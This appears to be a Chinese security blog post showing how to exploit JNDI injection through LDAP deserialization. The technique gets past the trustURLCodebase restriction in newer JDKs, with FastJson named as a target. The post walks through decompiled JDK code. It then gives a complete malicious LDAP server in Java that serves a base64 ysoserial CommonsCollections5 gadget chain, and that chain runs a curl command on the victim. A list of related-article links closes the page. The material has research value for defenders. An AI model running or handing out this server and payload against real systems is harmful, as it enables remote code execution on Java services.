前言

前段时间FastJson的利用,最后使用了JNDI注入的方式 使得利用条件变得简单。
从一开始的RMI到LDAP, 都是把一个Reference对象绑定到N/D服务上, 最终实例化CodeBase远程代码库的类实现RCE。
但是这种方法在高版本jdk中已经不再能够使用, 由于TrustURLCodeBase的限制, 不再能够加载远程的代码库。
最近看几年前的BlackHat JNDI PPT时, 发现提到了除了Reference的另外几种方法。 不过没搜到EXP, 就自己看了下。

Reference的利用

N/D为LDAP

N/D服务返回Reference对象后, 服务端这边decodeReference后
尝试加载类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// 尝试在本地加载类。
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// 如果从本地加载类失败, 从远程代码库中获取。
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

jdk1.7.0_80的 loadClass(String className, String codebase)

1
2
3
4
5
6
7
8
9
public Class loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
}

直接使用URLClassLoader从远程动态加载字节码, 然后返回。

1
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

然后实例化从远程获取到的类, 触发类的构造方法, 实现RCE。


jdk 1.8.0_191 的loadClass(String className, String codebase)

1
2
3
4
5
6
7
8
9
10
11
12
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
} else {
return null;
}
}

如果trustURLCodebase为false的话, 直接返回null, 不再从远程代码库中动态加载字节码。

并且trustURLCodebase已经默认为false, 所以不能够再使用这种方法。

LDAP 反序列


在decodeObject N/D返回的对象时,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 感觉idea decompile出来的变量有点错, var1 var2有点混了。
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4])); // 获取ldap设置的codebase属性值, 这里为null
try {
Attribute var1;
// 如果var0中有JAVA_ATTRIBUTES[1], 则会进行deserializeObject, 并且获取javaSerializedData属性值赋给1
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2); // 这个var2应该是var1。
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}
1
2
3
4
ClassLoader getURLClassLoader(String[] var1) throws MalformedURLException {
ClassLoader var2 = this.getContextClassLoader();
return (ClassLoader)(var1 != null && "true".equalsIgnoreCase(trustURLCodebase) ? URLClassLoader.newInstance(getUrlArray(var1), var2) : var2);
}

如果trustURLCodebase为false的话, 不从远程代码库动态加载字节码, 而是直接返回从javaSerializedData属性中获取的属性值。 所以使用反序列不受trustURLCodebase的影响。

1
2
3
4
5
6
7
8
9
10
11
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
try {
ByteArrayInputStream var2 = new ByteArrayInputStream(var0);
try {
Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1);
Throwable var21 = null;
Object var5;
try {
var5 = ((ObjectInputStream)var20).readObject(); // 反序列操作

所以在启动ldap service的时候 只要设置了这个属性, 就可以进行反序列操作。

LDAPServer.java 是从marshalling.jar里扣出来的,稍微改了下代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ReadOnlySearchRequest;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import java.io.ObjectOutputStream;
import java.io.PrintStream;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
public class LDAPServer
{
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] agv)
{
int port = 1389;
String args[] = {"http://localhost:8000/#Exploit"};
if ((args.length < 1) || (args[0].indexOf('#') < 0))
{
System.err.println(LDAPServer.class.getSimpleName() + " <codebase_url#classname> [<port>]");
System.exit(-1);
}
else if (args.length > 1)
{
port = Integer.parseInt(args[1]);
}
try
{
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(new String[] { "dc=example,dc=com" });
config.setListenerConfigs(new InMemoryListenerConfig[] { new InMemoryListenerConfig("listen",
InetAddress.getByName("0.0.0.0"), port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory)SSLSocketFactory.getDefault()) });
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch (Exception e)
{
e.printStackTrace();
}
}
private static class OperationInterceptor
extends InMemoryOperationInterceptor
{
private URL codebase;
public OperationInterceptor(URL cb)
{
this.codebase = cb;
}
public void processSearchResult(InMemoryInterceptedSearchResult result)
{
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try
{
sendResult(result, base, e);
}
catch (Exception e1)
{
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws LDAPException, MalformedURLException
{
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
try {
e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAU3QAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAANXEAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAHmN1cmwgaHR0cDovL2xvY2FsaG9zdDo4MDAwL2FhYXQABGV4ZWN1cQB+ADIAAAABcQB+ADdzcQB+ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg="));
} catch (ParseException e1) {
e1.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

启动LDAP Service需要的jar包。
pom.xml

<dependency><groupId>com.unboundid</groupId><artifactId>unboundid-ldapsdk</artifactId><version>4.0.8</version><scope>compile</scope>
</dependency>

base64是直接使用ysoserial随便选择的一个gadget生成的。

FastJson JDK8u191测试:

场景

其实用LDAP来反序列的意义也没有太大, 毕竟JNDI注入很多时候也都是依靠反序列来实现控制传入的uri。
大概利用场景也就
1:FastJson, 毕竟FastJson实例化类后默认只能调用属性的getter/setter方法, 高版本jdk FastJson<=1.2.4用JNDI来反序列也是一种不错的选择。
2:非反序列的JNDI注入。
3:反序列的时候有黑名单,常见的gadget用不了, 能用jndi的gadget。

References

1.https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
2.https://github.com/mbechler/marshalsec

JNDI-Injection-With-LDAP-Unserialize相关推荐

  1. java jndi ldap_JNDI 与 LDAP

    对于众多接口服务.协议.互联网名称,总会遇到感到熟悉,但是时间一长就会忘记,所以还是要自己整理一下,加强记忆,当然最好的方式还是动手实践. JNDI : 全称:JAVA NAMING AND Dire ...

  2. log4j-2.x 版本jndi漏洞(使用ldap协议) 演示

    核心原理:在打印日志时,遇见${xxx} 会进行解析,并调用 jndi的lookup方法,此方法可以通过ldap服务调用把远程class文件下载到本地并执行其类的构造方法. 具体log4j源码解析,参 ...

  3. Find-Sec-Bugs 漏洞范例

    第一章 Find-sec-bugs简介 插件介绍: Find-Sec-Bugs 是一款本地 bug 扫描插件 "FindBugs-IDEA" 的 Java 安全漏洞规则扩展库,它支 ...

  4. java安全(四) JNDI

    给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 关注公众号:b1gpig信息安全,文章推送不错过 1.JNDI JNDI(Java Naming and Directory Interface) ...

  5. 开源漏洞深度分析|CVE-2022-25167 JNDI命令执行漏洞

    项目介绍 Flume 是一种分布式.可靠且可用的服务,用于高效收集.聚合和移动大量日志数据.它具有基于流数据流的简单灵活的架构.它具有可调整的可靠性机制以及许多故障转移和恢复机制,具有健壮性和容错性. ...

  6. 《精通J2EE网络编程》中讲的JNDI 6.2 使用JNDI

    6.2 使用JNDI 6.2.1  JNDI服务提供者 不使用服务提供者就不能用JNDI.一个服务提供者就是一组Java类的集合,它支持开发者同目录服务进行通信,其方式类似于JDBC驱动程序与数据库之 ...

  7. 《精通J2EE网络编程》中讲的JNDI 6.1 什么是JNDI

    6.1 什么是JNDI Java命名和目录接口(the Java naming and directory interface,JNDI)是一组在Java应用中访问命名和目录服务的API.命名服务将名 ...

  8. JNDI配置原理详解

    最近写书,写到JNDI,到处查资料,发现所有的中文资料都对JNDI解释一通,配置代码也是copy的,调了半天也没调通,最后到SUN的网站参考了一下他的JNDI tutorial,终于基本上彻底明白了 ...

  9. JNDI RMI 注入(Log4j2漏洞)

    提示:重点的地方,使用★★★标记了,方便查看 目录 ■相关知识 1.SLF4J(Simple logging Facade for Java) // 简单日志门面 ■logback介绍 ●logbac ...

  10. LDAP基础:3:通过389端口对openldap进行操作

    在前面的文章中介绍了如何使用docker快速搭建ldap服务并进行确认,以及在java中如何使用jndi对ldap进行访问,但是按照官方github上的示例,由于没有将端口暴露出来,所以在宿主机对容器 ...

最新文章

  1. python爬虫写入数据库_Python爬虫数据写入操作
  2. java gui拖拽_Java Swing拖放
  3. 面部识别辅助监控系统 人工智能为城市安全保驾护航
  4. 递归算法 流程图_什么是算法?如何学习算法?算法入门的学习路径
  5. tcp的简单使用实例一
  6. 【免费下载】2021年11月热门报告盘点(附热门报告列表及下载链接)
  7. spring boot连接redis配置127.0.0.1_Java技术分享——Springboot整合redis
  8. win7上一个微软都不知道的快捷键
  9. 目前服务器操作系统版本,Windows操作系统的版本选择
  10. python版植物大战僵尸源码_『原创』植物大战僵尸分析及Python辅助实现
  11. MHL接口是一种废品接口
  12. 以太网芯片mac/phy的关系
  13. OnDraw()和OnPaint()
  14. Linux jstack命令
  15. nginx配置ngx_http_sub_module
  16. 数电大作业—简易抢答器设计
  17. 年销售额5亿爆款单品“螺蛳粉“营销策略分享!
  18. XGATE on S12X
  19. 利用ISBN/书名爬取“全国图书馆参考咨询联盟”网站从而得到图书学科、中图分类号、主题等信息
  20. PDF如何编辑,怎么使用PDF裁剪页面工具

热门文章

  1. 学术研究入门,如何下载论文?
  2. 安路FPGA学习之有趣的下载方式
  3. 【python逆向一把梭】pyinstaller打包的exe逆向一把梭
  4. 【音乐可视化】Audacity,一款免费的多轨音频编辑器
  5. 编写计算机程序的几个步骤,第1讲程序设计的一般步骤ok.doc
  6. 自定义输入框可一键清除
  7. 计算机网络故障的排除,网络故障怎么排除 网络故障排除方法
  8. S3C2440 开发板实战(3):编译概念 + LED点亮闪烁
  9. AlphaFold2-蛋白质结构预测
  10. IO模块软件处理方案